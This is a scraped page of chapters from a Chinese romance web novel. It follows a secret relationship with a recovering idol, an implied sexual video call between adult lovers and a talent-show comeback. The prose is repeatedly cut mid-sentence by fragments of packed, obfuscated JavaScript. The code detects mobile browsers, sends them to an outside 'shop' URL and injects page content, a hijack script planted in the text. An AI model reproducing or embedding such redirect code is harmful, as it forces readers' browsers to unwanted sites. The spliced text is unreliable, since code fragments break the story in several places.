d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14250266|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己愣是一分钱也没花。 再后来,去帝都找楚恒,本来还有些心疼机票和酒店钱,结果酒店退了,在楚恒家里吃吃喝喝免费躺了两周,楚恒还动不动就不由分说地给她转账,最后这钱不仅没少反而多了,终究也是没花出去。 黄怀予觉得这样每天下午慢悠悠去人民广场学乐器的日子也很悠闲。 高考结束的暑假,日头蒸腾地晒着,在音乐机构的教室里听着隔壁传来的如同弹棉花一样刺耳的噪声,竟然莫名其妙觉得像是记忆回溯,回到了六七年前学钢琴的时候。 ——只是,没有“花了家长的钱就一定要认真学回本”的强烈责任感,没有“以后升学可能会用上”的工具性目标,只是“我觉得有意思,我想多一个兴趣爱好,我想多了解一个世界的侧面”。 这是长大的象征吗? 高中毕业后的世界,是这样的吗? 黄怀予仍有疑虑,不过如果答案是肯定的,那她觉得这样的世界真的特别美好。 下课了,把机构的琴放回原处还给老师,一出门就看见门口站着一个身材高大的男生。 是谷奕。 他站在机构门口,低着头插着兜,等得很认真。 穿了一件黑色宽大的T恤,下身军绿色工装长裤,长长了很多的头发垂在耳侧,衣服很薄,被风一吹几乎可以看见肩膀和胸口处微微鼓起的肌肉。 看见了她朝他一步步走去,他歪歪头,冲她勾起唇角,露出一点点洁白的牙齿。 “走吧。” 两人上了出租车,再一起去苏琬教的学生家里,去接她下课。 三个人一起去吃一顿涮羊肉,最后晚上直接回了望湖山庄,一人一间房,全计谷奕账上。 第二天早晨两个女生再把一脸困意的谷奕拉起来去吃酒店自助早餐,他一边嫌弃“难吃得要死,根本没有吃的必要,不如回去继续睡觉”,一边黑着脸去给那两人去拿冰淇淋。 这样的日子让这三个人几乎整天都黏在一起——所以当黄怀予接到某人打来的电话时,只能先像做贼一样挂掉,再找个理由回自己酒店房间,关上了门,才敢回拨过去。 才一秒钟就迅速被接通。 果然一打开视频,就看见对面不是很好看的脸色。 “为什么现在才接。” 楚恒那边很安静,光线稳定,那张轮廓分明的脸映在手机屏幕上,模糊之中有种别样的冷肃。 ……黄怀予一时间心跳有点快。 她其实一直没有告诉过楚恒,其实他冷脸的时候最帅。 “刚刚一直都和他们在一起,接不了。所以我找个理由回房间了,现在给你打过来了。”黄怀予坐回床上,周围只剩她一个人。 “昨天呢。”他声音也并不温柔。 “昨天也是一样嘛……我们三个每天都在一起,如果接你的电话太容易被发现了。”黄怀予摸摸手机上的摄像头,像是在摸他的头,“地下恋,只能这样,对不起嘛。” 屏幕上那张脸皱了一下眉头。 “不用道歉。” “对我不用道歉。” 黄怀予一愣。 “可是你好凶,声音也好冷。我害怕。” “……”楚恒静静地看着她三秒,嘴角才慢慢勾起一点无奈的弧度,声音也不由自主软下来,“恶人先告状。” 黄怀予:“想你了。” 那边没说话。 黄怀予:“喜欢你。” ……那边呼吸声有点重。 黄怀予:“你想我吗?” “……”楚恒眉眼压了下来,盯着手机屏幕里的她,像是咬着牙,“别说了。” 150. 第 150 章 黄怀予没明白才说了两句话,他怎么就这么大反应。 “你脸怎么这么红?” “嗓子也很哑……” 她越说越觉得担忧,想到了什么。 “夏天空调室内呆久了容易生病。” “没发烧吧?” “要不拿个温度计测测?” 对面的人不说话。 “楚老师?” “嗯。”好几秒之后楚恒才应了一声,往后仰躺,黄怀予这才看见他好像是在自己的床上,眼睛微微阖起来,说话的时候脖颈处突起的喉结上下移动了一下。 “说话呀,怎么了?” 他发出一声很轻的笑。 终于像是下定什么决心一样,看着手机里的她,把摄像头往下拉,对准了腰部以下的位置。 “!” 黄怀予眼睛都瞪出来了,发出了一声很打破气氛不合时宜的声音,“卧槽!” 她在脑中纠结半天。 “你接我电话之前干什么了?” 楚恒盯着她,慢条斯理地说:“什么也没干。” “那怎么就这样了?”黄怀予简直开始自我怀疑了,“我也没说什么吧?” “你说了。”他的声音哑得不像话。 “我说啥了?”黄怀予回忆了一下,“不就说了几句喜欢你?” “……嗯。”那边窸窸簌簌的声音响起,镜头被他身上的白色衣服盖住,他似乎是起身,仰头喝了口水,沉默一会缓和之后才说,“你说完就这样了。” 黄怀予用了几秒才接受这个事实。 她看了看他那边的背景,“你在床上?” 那边呼吸有点急促,“是。” “房间里还有其他人吗?” “没有。”楚恒一瞬不瞬盯着屏幕上的她,眼里浮浮沉沉,“就我一个。” 她抿唇不语,然后突然说: “要我帮你吗?” 对面陷入死一般的沉寂。 “干嘛?我体谅你年轻气盛,两个人又异地,觉得你不容易,才想帮你的。” 黄怀予瞪了他一眼。 “不要算了。” “挂了。” 她手指刚移到红色通话键上,听筒就传出楚恒的声音,“别!” 他声音里带着点祈求,深呼吸几口气,低低地说,“别挂。” “想再看看你。” 黄怀予左右看看,找了个手机支架,把手机固定好放在桌子上,坐在手机前。 “我需要做什么?”黄怀予想了想,手指已经放在衬衫纽扣上了,“先脱一件?” “……”对面沉默了半天,显然是已经被她这大胆的动作和话吓了一跳,楚恒皱着眉头,黑着脸,耳根已经红了一片,“你从哪学的?” “哈哈哈哈哈!”黄怀予终于憋不住,笑得前仰后合。 她愉悦的笑声从手机听筒里传出,楚恒躺在床上,反应了几秒才知道自己又被她骗了,她就喜欢开这样的玩笑逗自己。 他仰躺在床上,从耳廓到脖子已经红了一片。 “又骗我。”声音很哑,带着点咬牙切齿的狼狈。 楚恒没有说出口的话是,当黄怀予手指放在纽扣上说出“先脱一件”这四个字的时候,他骤然捏紧了双拳。 心跳一瞬间快得如擂鼓。 “楚恒。” 他的名字被她骤然轻声喊了出来,楚恒下意识屏住呼吸。 “我现在真的帮你。” 黄怀予捧着脸坐在手机前,眼睛里亮晶晶的,“你要我做什么?” 她也是第一次做这样的事,双颊红红的,瞳孔却乌黑透亮,像水里刚洗过的葡萄。 对面呼吸声粗重了起来。 镜头有些晃,楚恒眼里像燃了一团火,低哑的声音从听筒里传出来。 “那就这样,看着我。” 他紧紧盯着她的脸。 “说你想我。” …… 最后结束的时候,已经过去了半小时。 她缩在被子里,耳畔喘息声仍未消散,楚恒低沉喑哑的声音最后一次穿过一千多公里吻过她的耳廓。 “我爱你。” “晚安。” * 夜晚九点。 沈一临从练习室回到宿舍,打开门,果然迎接他的是一片漆黑。 那人又没回来。 如果没猜错,那人应该还在练习室没出来。 “切。装给谁看?” 沈一临愤愤地想,有什么了不起,他也能哐哐练!明天他要练十个小时! “……不过,人家好像也没做错什么,只是有点卷而已。” 沈一临脑子里才刚蹦出这个念头,就立刻拍了自己脑袋一下。 你在想什么!他可是你的仇人! 沈一临抿唇,盯着对面那张无人的床。 楚恒。 ——非常熟悉的名字。 从STAR出道以来的这三年,沈一瑾起码跟他念叨了八百遍这个名字。 不过就算没有沈一瑾这层关系,他也听过楚恒的名声:当初只在新娱训练了八个月就出道了,还是以主唱身份出道的。偶像团体普遍缺主唱,八个月里从素人一路到Center和主唱,足以见得他天赋是多么好,以及私下是多么努力。 平心而论,他之前对楚恒印象甚至很不错。 毕竟沈一瑾口中,他能力强长得帅,还经常被有权有势的队友赵焰欺负,性格沉默寡言,足足一个美强惨。 但是印象好和同意自己妹妹去追求他又是两回事,那可是自己亲妹妹,沈一临一直不觉得性格阴郁的人适合当男朋友。 但是沈一瑾根本不听他的,今天跟他兴高采烈地说楚恒今天跟她说了谢谢,明天又来问他男生喜欢收到什么礼物,一整个春心萌动。 结果就在楚恒生日那天,沈一瑾兴冲冲地去送礼物,回来的时候却像霜打的茄子似的蔫了,怎么问她也只是保持缄默,说以后会跟楚恒保持距离,从此以后就再也没有了后续。 自那之后,沈一瑾每天都郁郁寡欢,眼见着瘦了一大圈,每天只是机械地完成经纪人安排好的通告,脸上也很少出现笑容。 “我早就说了,离楚恒远一点!别喜欢他!现在受伤的是你自己!” “你说,是不是他拒绝了你?他是不是骂你了?我找他去!” 沈一瑾一把拉住他,不让他去,再怎么问也只是摇头。 沈一瑾没说的是,楚恒有女朋友(或者是喜欢的人)的事情,楚恒本人都没有宣扬,所以当然要替他保守秘密。 ——但是这件事情落在沈一临眼里,就是楚恒不喜欢沈一瑾却还吊着她,弄得自己妹妹深受情伤,整个人都瘦了一大圈,不吃不喝郁郁寡欢。 于是,沈一临心里对于楚恒那点隐秘的同情也立刻消失得无影无踪了,心里立刻把他定位成了玩弄女孩感情的渣男。 …… 但是,谁能想到,半年以后,楚恒换C ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14261742|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、退团、解约、深陷霸凌丑闻,完全消失在圈子里。 沈一临信吗?他当然不信。他妹妹不可能喜欢上一个霸凌他人的始作俑者,这一点他很肯定。 想到那位队友赵焰家里的关系,这件事情好像变得很容易猜测了——他知道楚恒十有八九是被赵焰整了。和沈一瑾一样,沈一临打心眼里厌恶赵焰这样的人。 和圈子里其他所有猜测一样,沈一临也觉得,楚恒是被打趴下了。得知消息时候他也只能情绪复杂地叹一口气,这个圈子里不确定性太多了,也许是没那个命。 ——直到,他居然在《光芒之下》的录制现场,两人寝的房间里,看见了楚恒出现在他眼前。 操,见鬼了? 能出现在这里,只能说明,楚恒不仅找到了新的经纪公司,还参加了大型综艺,通过了初试,并且阴差阳错地居然跟自己分到了一间房。 沈一临至今都记得他拎着箱子在寝室门口,楚恒抬起头的那一瞥。 眉眼锋利,神态冷峻,轮廓精致。 很是没礼貌地看了他一眼,转身就出去了。 留他一个人在宿舍里生气。 真是冤家路窄! 刚刚才对这人多出的一点震惊和佩服也被强行压下去了。 …… 夜晚十点半。 沈一临洗完澡,准备休息,终于看见门打开,楚恒带着一身夏日夜晚的水汽走了进来。 神色很冷,一言不发,径直走向自己的桌子,准备洗漱。 沈一临在心里哼了一声。 以为你帅了不起啊? 不就是靠着这张脸才让自己妹妹那么喜欢他。 不知道还有多少女孩要受到他这张脸的荼毒! 沈一临几步走过去,揽住他的路。 “等等。” 楚恒顿住脚步。 抬眸看他。 “……”沈一临莫名觉得有点心虚,住了这么久这还是两人第一次正式讲话,他强装镇定,指着自己桌子下的那个粉色行李箱。 “知道这箱子贴纸谁给我贴的吗?” “是我妹妹。” “因为她从小就喜欢hellokitty。” 楚恒看着他,眉梢眼角极为平静,等着他的下文。 沈一临盯着楚恒的脸,一字一字说: “我就这么一个妹妹,如果谁欺负她,我一定不会放过那个人。” …… 放完狠话,沈一临简直要在心里给自己鼓掌,什么叫掷地有声! 就是要让这小子看看,沈一瑾是有人撑腰的! 他挑挑眉,眼里透出一股得意和放完狠话的爽快,期盼着对面那人的反应。 装傻?愣神?道歉?解释? ——却没想到,楚恒只是平淡地扫了他一眼,就一句话没说,略过他的左边身侧,径直走向了卫生间。 沈一临:“……” 他又几步冲上前,再次挡住楚恒的路。 “你知道我妹妹是谁吗?” 他紧紧盯着楚恒的脸。 眼见楚恒又要从右边绕过他,沈一临又几步走到右边。 “我的亲妹妹,同父同母,和我名字的前两个字都一样。” 楚恒两边的路都被挡住,索性站定停下,冷冷扫了他一眼。 “让开。” 这是这么多天以来,楚恒对他说的第二句话。 沈一临愣了一下,楚恒立刻头也没回地从他身侧走过。 151. 第 151 章 “在吃沙拉?我妹也是圈内人,前段时间连沙拉都吃不下,得了胃病。” “去练习室?希望某人还记得他当初蹭了某个女爱豆一个合作练习室才有了点热度。” “如果有人敢欺负她,我一定不会放过他。” 沈一临见缝插针,冷嘲热讽,不管楚恒在做什么,他在生活中的方方面面都试图在旁边冷淡地放一句狠话。 ——却没想到,楚恒每天早出晚归,独来独往,一句话也不说,完全不理他! 沈一临更生气了,他觉得自己简直每天都在对牛弹琴。 沈一瑾怎么这么没品位? 喜欢上一个哑巴? 当红女爱豆,新生代小花,长得漂亮家世好性格好,那么多人追她巴结她舔她,她居然就喜欢那种不理自己的人! 沈一临气得七窍生烟。 是不是自己对现在小女生的心理都不太了解? 难道现在小女生都喜欢这种高冷款? 他躺在床上,怒气冲冲地开始在浏览器的搜索栏里打字。 结果字还没打完,就看见下方“猜你喜欢”自动推送了一行字。 “霸道总裁为何长盛不衰?女人就喜欢不理她的高冷帅哥!” ? 真的假的? 没怎么谈过恋爱的年轻男团偶像沈一临躺在床上,皱着眉头,努力思索着两性关系之中的恋爱哲学。 “啪——” 宿舍门被打开,有人走了进来。 沈一临立刻把手机扔了,把窗边的电脑一把抢过来,给自己套上耳机,迅速随便点开一个练习室页面,装作整个人都在沉浸式认真扒舞。 结果那人走进来后放下包就径直去了卫生间洗漱,一个眼神也没给他。 “……”沈一临放下电脑。 行,又是在练习室呆了一天刚回来是吧? 卷是吧? 明天他要去练习室练十二个小时! * 《光芒之下》第一期节目正片终于正式开播。 这档节目从内部海选开始就已经吸引了大量目光,从业内到大众视野,热度赚得盆满钵满。 黄怀予、苏琬和谷奕呆在望湖山庄谷奕的房间里。 电视开着,周围放着披萨外卖和冰可乐,三个人盘腿坐在地毯上,聚精会神地集体观看。 第一期的内容很简单,开场就是介绍导师以及导师闲聊,紧接着马上就是初选舞台。每个选手的初选舞台也是给导师和大众的第一次正式亮相,导师会给出评分和评价,多多展示自己的能力和魅力也可以帮助自己吸粉,让更多人给自己投票。 其实电视机前的三人都已经做好了最差的准备。 也就是楚恒的所有镜头都被剪光。 所以,当楚恒那张脸就这么直接出现在电视机前的时候,三人都愣了一下,之后才“哎哎哎”地兴奋起来。 黄怀予抱着腿,呆呆地盯着屏幕上那张脸,眼前有一瞬的晃神。 “楚恒”他的名字被堂堂正正打在屏幕上,下方一行小字写着“东吟公司”。 节目录制的时候已经是深夜,周围很多选手都困倦欲睡,但是他却整个人精神很好,乌黑的头发勾勒出精致锋利的眉眼轮廓,整个人安静站在舞台上,个子高挑,身材清瘦,脸上没什么表情,却让人移不开目光。 没有提他的过往,没有导师和他聊天聊到以前的公司,什么讲述一路走来的不易、什么当初STAR的center……都没有。 他平静打了个招呼,舞台就灭了灯,音乐声在他身后响起。 他戴着耳麦。 衣服上的流苏散下又被他甩落,几个利落的转身下前额的发丝也潇洒地飘起来,唱歌的时候眉头微微皱起,dancebreak的时候那双眼睛紧盯着镜头,动作却干净利落,转身背对镜头时可以看见他薄薄演出服下映出的蝴蝶骨形状。 所有舞蹈动作都有力干净,所有唱段都气息稳定。 激烈动作之间微微喘气,有时不经意间在某一些节点对着镜头扬起一个很淡的笑。 ——音乐声在最高潮回落,灯光重新打亮。 他站在那里,扶着耳麦,眼里闪过一些波动的光。 重新开始了。 不是那个在昏暗的练习室里一个人跳舞的他,不是那个一直做噩梦的他,不是那个永远追逐不到自己梦想、被朋友背叛、被队友排挤、被全世界忽略的他。 直到这一刻,站在舞台上的这一刻,给台下所有人表演的这一刻,他的名字和“东吟公司”出现在一起的这一刻,楚恒终于真真切切地感受到,他的人生,重新开始了。 “啊啊啊啊!” 谷奕在旁边激动地鼓掌,苏琬笑着在录视频,说要把这段reaction放群里让楚恒也看看。 电视机里响起台下选手们自发的掌声,响起导师们一致肯定的声音“没有什么评价,唱跳俱佳,是一个完美的舞台”,电视机外是谷奕的掌声和苏琬的笑声,各种声音纠缠混杂在一起,混在楚门望湖湖心岛上空的夏夜里。 黄怀予却浑然不觉。 她呆呆地盯着电视机里,他眼里闪过的光。 吸了下鼻子,垂下头,才发现,自己眼角竟然滴下了两滴泪。 …… 黄怀予,你完了,你为男人流泪了。 你真的爱上他了。 * 《光芒之下》第一期正片结束。 果不其然再次掀起了一波讨论热潮,大家纷纷开始说起自己对不同选手的初印象和评价,甚至几个明星都发微博,拍下自己在家正在看节目的照片,艾特了自己喜欢的选手的微博,说“很喜欢你!给你投票!加油加油!” 很多位镜头比较完整的选手都得到了极大的讨论度。 比如,标准男团阳光偶像沈一临,大公司出身长相温柔唱歌很好的陈锐,小作坊公司舞蹈实力强但是性格抓马的外向开朗E人选手凌昀。 ——以及,唱跳各方面都无从指摘的“黑料咖”,永远面无表情的楚恒。 “看完了第一期,对楚恒印象最深,实力好强,长得也帅,怎么居然有黑料。” “个人觉得楚恒最帅。” “姐妹我也是!楚恒他一个人站在舞台上的那个镜头,虽然就两秒钟,但是我突然被那一幕击中了!他就一个人安安静静站在那里,舞台上的光从他背后打过来,高高瘦瘦的,妈呀真的是冷脸帅哥!” “他最后那一个笑真的很好看……已经去超话收了图当壁纸了。” “他霸凌到底是不是真的?好犹豫啊他真的很合我眼缘!” “反正我是不管了,我就喜欢他,已经开始每天给他投票了。” “超话有霸凌贴澄清!” “我就知道现在又开始洗他了,果然黑红也是红对吧?粉丝又开始限定澄清了。” “但是说来说去霸凌都没有实质性证据啊!既然没证据为什么要空穴来风污蔑一个人。” 舆论风向开始发生扭转,多了曝光平台让更多人看见以后,也有越来越多的人开始为楚恒说话。以前STAR的老粉也慢慢回坑,开始剪视频做宣传投票。 …… 楼道角落里。 沈一临戴着冷帽,硬朗的五官被宽大的黑框眼镜压住,他蹲在角落,和电话里经纪人聊天。 “最近网上风向,看了吗?” “没看。每天忙着呢。说什么了?” 电话那头响起经纪人八卦兴奋的声音。 “说你那个室友呢。” 沈一临一顿。 他的室友? ……楚恒? “第一期播出,他表现得挺好的,吸了不少粉。地狱开局也有好处,以后可能越虐粉,粘性越高。” “你们当时,现场什么反应?” 什么反应? 沈一临回忆了一下。 台下的选手里,应该有很多人都知道楚恒的名字。既知道他能力强,也知道他最近的丑闻。 台下选手大约都三三两两找到了小群体,只有他一直一个人呆着,身边也没有其他人敢靠近。大家就算要抱团也是会找人气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14267580|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高的抱团,没有人会找黑料这么出名的楚恒,唯恐惹祸上身。 每组选手上台之前台下都会鼓掌表示鼓励,只有楚恒上场的时候,台下寂然无声。 但是,他却交上了一份堪称完美的舞台作品。 尽管台下仍然有人不服,发出了很大的嘘声,但是却已经有人开始给他鼓掌。最初稀稀拉拉的掌声,慢慢一点点变大。 沈一临坐在台下,凝神望着台上那个人,手掌对齐,轻轻地给他鼓掌。 尽管他心里对楚恒还有气,但是沈一临却不得不承认,楚恒真的是天生应该吃这碗饭的。 外貌出众,音乐天赋极高,舞蹈肯狠下心练,天赋派和努力派的混合。 站在舞台上,非常耀眼。 …… 挂了和经纪人的电话,工作人员找上来,通知所有人现在要去录制初选公布排名的部分。 此时已然是夜晚十点多,沈一临回去自己简单做了个妆发,心里叹口气,今天估计又要录到凌晨后半夜。 一百名选手齐齐坐在演播厅,等待着主持人做第一次结果的宣判。 这是初选后结果的宣读,一百人里要直接刷掉五十人。也就是,只有投票票数前五十名的选手才可以留下来。 沈一临在所有人的意料之中拿了第一名。 陈锐第二名,凌昀第三名。 STAR的顾安,25名。 STAR的赵焰,37名。 已经到了四十名的宣读,沈一临还没有听到那个名字。 他不经意间望了一下周围,演播厅气氛凝重,还没有被读到名字的六十多个人全都眉头紧锁,都希望自己可以成为那最后十个幸运儿。 《光芒之下》的投票通道从节目开播以来就一直开放,观众可以寻找自己喜欢的选手进行投票。 节目内部曾有一次初选结果预估,是节目工作人员根据各个选手的能力、记忆点和魅力值以及赛前各个选手的网络舆情风向等各个指标,进行的预估排序。 沈一临记得那次的结果。楚恒是70多名。 ——如果按照那一次预测的结果来看,楚恒是一定会被淘汰的。接下来,就是和其他所有小公司背景、名不见经传的练习生一样,一轮游,之后继续回去重复一文不名的生活。 沈一临不自觉盯着舞台上主持人手里的比赛结果,这才猛然发现,自己竟然也跟着紧张了起来。 “第46名。” “东吟公司,楚恒。” ……现场一片安静。 三秒后,开始慢慢响起掌声。 沈一临慢慢呼出一口气。 ——第一关,他过了。 * 录完这一期,已经接近凌晨三点。 所有人都困得没精神,只是拖着沉重的身体回去卸妆睡觉。 沈一临走在路上,心里还想着刚刚公布初选结果的46名时,楚恒脸上平静的表情。 都这种生死存亡之际了,这人居然还是一副面瘫脸! 沈一临心想这人真是装逼透顶。 夏夜的魔都有点冷,风吹过大楼边树影发出沙沙的响声,天边明月高悬,路灯暗淡,黑漆漆的路上一片安静。 沈一临走着走着,突然远远看见前方有一个人影,高高瘦瘦的,穿着一身黑,踩着一双马丁靴,是楚恒。 楚恒一个人正站在大楼侧边的树下。 那边一个人也没有,平常也不会有人去,一直都很安静。 沈一临一愣,这么晚了他怎么还不回去休息?难道都凌晨三点了他还要去练习室? 却没想到,楚恒走到树丛的角落后,停了下来。 楚恒站定,拿出了手机,放在了耳朵边。 似乎是在打电话。 沈一临还没反应过来,就听见那边手机似乎是接通了,随后传来一声非常非常温柔的低沉声音。 ——“准备睡了吗。” ?!?! 沈一临吓得一抖。 这,这是楚恒在说话? 他的声音怎么这么夹?! 152. 第 152 章 “怎么还不睡。” “不困吗?” 沈一临脚生根一般被钉在原地,他差点以为自己眼花了,他居然看见楚恒笑了。 而且笑得很开心,嘴角都扬起来,声音都带着笑意的那种。 “哦,所以还不睡,是因为想我了吗?” ……沈一临大气都不敢出,冷风一吹,他才发现自己起了一身鸡皮疙瘩。 “嗯。但是我想你了。” “想见你。” “想亲你。” “很久没亲了,很想很想。” ?! 沈一临咬着牙,操,不能再听下去了,这他爹的能播吗? 这人不会直接在这里phonesex吧? 他黑着脸,转身就走。 但是突然又想到了什么,硬是停住脚步,在楼下周围选了一个可以隐约看见楚恒但是听不见声音的位置,这里是楚恒回宿舍的必经之地。 他抱着胸,满脸火气,就在这里等楚恒。 就这样过了接近二十分钟,沈一临才看见楚恒的身影慢慢走过来。 他冷笑一声,心想这两人还真是能说。 “等等。”他拦住楚恒。 “有事吗。”楚恒冷淡地看他一眼,简直和刚才那股温柔得要腻死人的劲判若两人,沈一临都觉得自己刚才是不是眼花了。 “我看见了。”沈一临说,“你有女朋友了,对吧。” 此话一出,楚恒骤然皱起眉头,看着他。 “你看见什么了。”他半晌才问。 沈一临哼了一声。 “你放心,我不会往外说的。” 他进这个圈子也好几年了,这点事情还是懂的。爱豆谈恋爱属于灰色地带,放在大众层面上都被人骂,但是放在私底下没有人不谈。 比如,据他所知,他的团BREAKER的其他队友,基本都不是单身。就《光芒之下》的很多选手来说,也很大一部分都不是单身。 “既然有女朋友了,就别在外面拈花惹草,招惹别人。” 楚恒平静地看着他。 “我招惹谁了。” “你自己清楚!”沈一临咬着牙。 楚恒慢慢眨了眨眼睛。 “沈一瑾?” 这个名字就这么直接从他嘴里说了出来,沈一临眉头压了下来,随后也懒得再装了,这些天的各种放狠话和试探环节也终于到了要结束的时候。 “行。你还敢说出来,那今天就把话说清楚。” “沈一瑾是我妹妹,同父同母的亲妹妹。你少打她的主意,离她远一点!” 楚恒看着他,没有说话。 他越不说话,沈一临那股气势就越往下降。沈一临没好气地说:“你说话!” 楚恒沉沉地吐出一口气。 “无话可说。” “……”沈一临一股火起都没地方撒。 他冷静了下来,看着楚恒那张对谁都冷淡的脸,又想起沈一瑾郁郁寡欢的样子。 等等。楚恒对沈一瑾,其实也很冷淡啊。 邀约不去,关心不回复,礼物不收。 不然沈一瑾怎么之前每天患得患失,连楚恒对她多说了一句谢谢她都能记好几天。 ……这么一想,楚恒好像确实没有主动接近过沈一瑾。 而且,就看看他刚刚跟他女朋友的那股恩爱劲,应该也不像是渣男那样四处留情的人。 沈一临渐渐冷静了下来,发现好像是自己这边不占理,只能深呼吸几口气,一时语塞。 他沉默的时间才六七秒,但是楚恒看上去已经失去了所有耐心,绕过他就想离开。 “等等!” 楚恒立刻不着痕迹皱了皱眉,迅速往旁边退了一步,躲过他的手,“还有事吗。” “你还真是……”沈一临有些无奈,摇摇头,“除了对你女朋友,对谁都是这样一副臭脸。” 他站直。 “看来是我误会你了,对不起。” 脸上表情很认真,语气很洒脱。 “沈一瑾是我妹妹。她前段时间状态非常不好,很抑郁,还差点出事……我很担心她。” “不过,既然这件事和你没关系,那是我错怪你了。” “我也听沈一瑾说过,你之前在新娱的一些不太好的经历。所以希望你不要误会,这段时间以来我对你做过的那些事,都只是为了我妹妹,都不是针对你本人的。抱歉,请别放在心上。” “如果以后有任何事情需要帮忙,请和我说。” …… 他就那样站在那里,很磊落,很洒脱。认识到自己错了,就可以立刻真心实意地改正。就算之前对楚恒有误会,也并没有做出什么出格严重的挑衅行为。 他就是这样,原生家庭幸福,性格阳光,见过黑暗但是不与之为伍。人气高,起点高,有资本,一直都走在阳光之下。 ——跟他妹妹一模一样。 楚恒看着他,点了一下头,转身离开了。 * 《光芒之下》初选第一轮结果的正片播出。 一百人一下子淘汰了五十名,很多人纷纷感叹自己喜欢的选手就这样被淘汰了,但是第一次的名次公布也带来了引发了大量讨论。 当夜,“光芒之下”、“沈一临第一名”、“淘汰感言”等等话题也都引起了网民热议,除了沈一临、陈锐、凌昀这些排名靠前的选手,还有像楚恒这种排名靠后的选手也带来了许多话题度。 与此同时还有一个娱乐博主发出的一条视频得到了万转。 是一条《光芒之下》正片的简短版cut,标题叫“浓人与淡人的区别”。 正片里,宣布凌昀第三名的时候,凌昀周围和他走得近的所有人全部都站了起来起哄大叫给凌昀鼓掌。 凌昀一个激灵站起来,理了理自己的头发,一路跑着上台,抢过话筒就开始说获奖感言,从诗词歌赋说到人生哲学,把整个宇宙都感谢了一遍,最后太兴奋甚至原地做了个后空翻。 导师在下面快笑疯了,说“你下次舞台干脆就把这个后空翻也加进去吧。” 下一秒镜头一切,主持人已经宣布完了前四十名,剩下只有最后十个名额可以晋级,现场一片哀嚎,甚至很多人开始举起双手放在胸前开始祈祷,主持人每念一个名字,当事人就如同重生一般呼出一口气,几乎要哭出来。 结果,当主持人宣布“第46名,东吟公司楚恒”时,全场安静。 楚恒在周围人寂然的吸气声里抬起眼,站起身,脸上没有任何多余的表情,一步步走上台,弯腰鞠躬,一句话也没有。 主持人:“46名!几乎是淘汰边缘!但是你做到了,楚恒!如此激动紧张的时刻,你有什么话要和我们分享的吗?” 他站在台上,摇摇头。 “一路走来辛不辛苦?对未来有什么期待?下次希望自己是第几名?” “……”楚恒沉默,还是摇摇头。 导师在下面不死心地问:“对导师就没有什么要说的吗?” 楚恒停顿五秒,“感谢各位老师。” 台下骤然哄堂大笑。 视频到这里就结束了,热转热评全是“哈哈哈”和“我们I人是这样的”。当夜,热搜上还多了一个“楚恒超绝淡人”的词条。 …… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14277956|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >节目开播短短两周以来网络舆论的变化,给了谷奕很大希望。 《光芒之下》在S台官网或者APP观看,投票规则是每个用户可以用手机号注册一个账号,在S台官网或者APP对选手进行投票,每个账号每天可以免费投十票。如果想要获得更多票数,就可以在网站看广告,每看一个广告就多十票,每日观看次数无上限。 谷奕直接在楚门望湖山庄对面包了一家网吧,雇了三十几个人,用他们的账号日夜不停地刷广告,给楚恒投票。 黄怀予和苏琬走进去看到这一幕的时候,惊得简直下巴要掉了。 “我的妈呀,像金三角电诈犯罪窝点。” 谷奕却很理直气壮。 “我一没有买非法的手机号,二没有花钱直接篡改票数数据,我就是找了三十个人用他们的账号看广告,完全是在规则之内合理利用规则。” …… 黄怀予借口说望湖山庄和自己学吉他的音乐教室太远,所以还是想从望湖山庄搬出来回自己家住。 谷奕满脸无所谓地说有什么不方便,你打车去呗,我报销。黄怀予吃了苍蝇一样的表情,最后只能憋出来一句“不是钱的问题”。谷奕疑惑,还想问那是什么问题,却被苏琬拉住。 “你回去吧。” 黄怀予不敢看苏琬那副“Iknoweverything”的表情,收拾了东西就匆匆离开回家了。 ——没办法,有人催得紧,每天都要视频。住在望湖山庄偷偷摸摸,实在是太不方便了。 又是一节吉他课下课,她把教室的吉他还给老师,背着书包,脚步轻快地走在回家的路上。 楚港区是老区,红砖楼房,绿叶常青。升高中搬到鸡鸣区之前,她在这里已经住了十几年。 走过街角,老太太老爹爹扎堆在空调房里打麻将,远远的她就看见了自己外婆和外公正在那里打得开心。 口袋里的手机开始震动,她掏出耳机戴上,听筒里传出楚恒的声音。 黄怀予的心砰砰跳起来。 